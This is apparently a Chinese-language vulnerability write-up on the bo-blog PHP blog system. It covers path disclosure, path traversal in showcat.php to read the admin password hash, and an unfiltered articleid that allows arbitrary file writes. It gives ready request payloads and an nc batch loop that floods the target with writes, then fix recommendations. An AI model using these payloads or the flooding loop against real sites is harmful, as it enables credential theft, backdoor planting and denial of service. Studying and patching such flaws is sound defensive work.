萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

bo-blog 部落格系統安全隱患深度剖析:絕對路徑洩露與任意檔案讀寫漏洞

前言

bo-blog 外觀優美、流行度高,連資安圈人士也在用,但程式碼存在嚴重安全隱患,可能被利用植入後門。本文深度剖析兩大核心漏洞:絕對路徑洩露與任意檔案讀寫。

漏洞一:絕對路徑洩露

提交網址:

?m=2&y=/2005

即可直接取得程式部署的絕對路徑,這是 PHP 常見錯誤。

漏洞二:showcat.php 任意檔案讀取導致竊取管理員密碼雜湊

問題程式碼片段

if (!file_exists("$dirblog/$cat.php")) { wronginfo($langerrornocat); }
$allfiles = @file("$dirblog/$cat.php");
for ($i=$start; $i<$end; $i++) {
    $latest = explode("|", $allfiles[$i]);
    $articleid = $latest[1];
    $articlename = $latest[2];
    // ...
}

程式直接未經過濾使用 $cat 參數拼接檔案路徑並讀取,雖以 | 分隔且從索引 1 開始讀取,但若我們知道使用者目錄結構,可提交:

?job=showcat&cat=../saiy/userid

即可讀取管理員密碼雜湊,偽造 Cookie 登入後台,進而上傳後門。

漏洞三:回覆評論未限制頻率 + $articleid 未過濾 → 任意檔案寫入

問題程式碼

$areply = @readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl", $replycontent."\n|rep|\n".$areply);

$articleid 完全未過濾。攻擊者可提交:

articleid=C:\winnt\system32\hacker

將垃圾資料寫入系統目錄,或寫入管理員啟動目錄製造巨大文字檔導致癱瘓。配合 nc 自動化提交腳本可持續寫入:

# 抓取發文封包存為 test.txt
# 建立 test.bat:
nc 目標IP 80 < test.txt
# 循環執行即可持續寫入

修補建議

  1. 關閉錯誤訊息顯示(display_errors = Off)。
  2. 所有用戶輸入($cat、$articleid 等)必須經過嚴格過濾(basename()、路徑遍歷檢查、白名單機制)。
  3. 評論功能加入驗證碼、頻率限制、內容長度限制。
  4. 檔案讀寫操作使用預定義安全路徑,拒絕相對路徑穿越。
  5. 定期進行程式碼審計與滲透測試。

結語

開源專案流行不代表安全。部署前務必進行代碼審計,上線後持續監控與修補,才能避免成為駭客跳板。

copyright © 萬盛學電腦網 all rights reserved